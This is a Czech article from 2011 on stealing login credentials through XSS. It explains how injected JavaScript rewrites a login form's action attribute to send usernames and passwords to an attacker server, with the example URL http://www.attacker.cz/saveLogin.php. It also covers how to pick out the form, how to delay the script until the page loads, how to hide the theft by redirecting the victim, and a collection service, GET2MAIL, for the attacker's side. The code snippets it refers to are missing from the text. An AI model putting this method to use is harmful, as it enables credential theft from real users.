Autor: .cCuMiNn. | 3.3.2011 |
Hned na začátku uvedu příklad HTML kódu jednoduchého přihlašovacího formuláře, aby si i ti méně znalí mohli udělat představu, o čem to vlastně dále budu psát.
Uvedený formulář očekává zadání uživatelského jména a hesla. Tyto údaje pak po stisku tlačítka "Přihlásit" odešle metodou POST skriptu login.php, který se nachází ve stejném adresáři jako samotná webová stránka. Tento cíl je přitom definován v atributu action u prvku form.
Ve chvíli, kdy se podaří na webovou stránku propašovat skrz XSS zranitelnost kód JavaScriptu, může útočník jednoduše změnit obsah atributu action a tím docílit odeslání přihlašovacích údajů na svůj server, který tyto údaje zaznamená. Podoba atributu action ve formuláři by po změně byla například takováto: action="http://www.attacker.cz/saveLogin.php".
Vlastní obsah útočného skriptu přitom může mít různé podoby, podle toho, které atributy jsou u prvku form uvedeny. Z těch, které jsou pro nás důležité, to mohou být atributy id a name. Mohou být samozřejmě uvedeny oba, pouze jeden z nich, nebo dokonce ani jeden z nich. Na základě toho, který z atributů je uveden zvolíme odpovídající postup při "zaměřování" formuláře v našem skriptu.
Obsahuje-li prvek form atribut name přistoupíme k obsahu atributu action skrz jeho jméno takto:
Obsahuje-li prvek form atribut id přistoupíme k obsahu atributu action skrz jeho id takto:
Neobsahuje-li prvek form ani jeden z uvedených atributů, nezbývá než k jeho obsahu přistoupit prostřednictvím umístění formuláře v dokumentu. Objekt document obsahuje vlastnost forms, která vrací pole všech formulářů umístěných v daném HTML dokumentu. Stejného výsledku bychom dosáhli také použitím metody getElementByTagName("form") objektu document. Jednotlivé prvky pole jsou indexovány od nuly a pokud tedy chceme přistoupit k prvnímu formuláři v dokumentu, nalezneme jej pod indexem 0. Pro přistup k formuláři skrz jeho pořadí můžeme tedy použít tento kód:
Uvedené postupy je možné využít pouze ve chvíli, kdy je námi injektovaný skript načítán až po té, co je načten samotný formulář. V opačném případě, kdy by byl nejprve načten náš skript a teprve následně by se načítal kód formuláře, by při běhu injektovaného skriptu došlo k chybě, protože by se pokoušel přistupovat k objektu, který v té době ještě neexistuje. V takovém případě, je nutné odložit provedení akce až do chvíle, kdy dojde k načtení celého dokumentu.
Toto odložení akce není žádnou složitou záležitostí. Ke spuštění útočné části kódu pouze využijeme událost onLoad objektu window. K této událsti dojde ve chvíli, kdy je celý dokument načten a skriptu tedy již nic nebrání v přístupu k vlastnímu přihlašovacímu formuláři.
Ve chvíli, kdy přihlašovací údaje dorazí na stranu útočníka, je zapotřebí již jen tyto údaje uložit do databáze (do souboru) nebo si je nechat zaslat například e-mailovou zprávou. Pro zamaskování útoku je pak ještě vhodné přesměrovat uživatele společně se zadanými údaji do aplikace, k níž se pokoušel přihlásit.
Samozřejmě bych i zde mohl uvádět zdrojové kódy k tomu sloužící, nicméně není nic jednoduššího než využít zdejšího projektu GET2MAIL, který se o všechny tyto kroky prováděné na straně útočníka postará. Stačí si jen nechat projektem vygenerovat své jedinečné ID a to použít v adrese, kterou použijete při změně atributu action formuláře.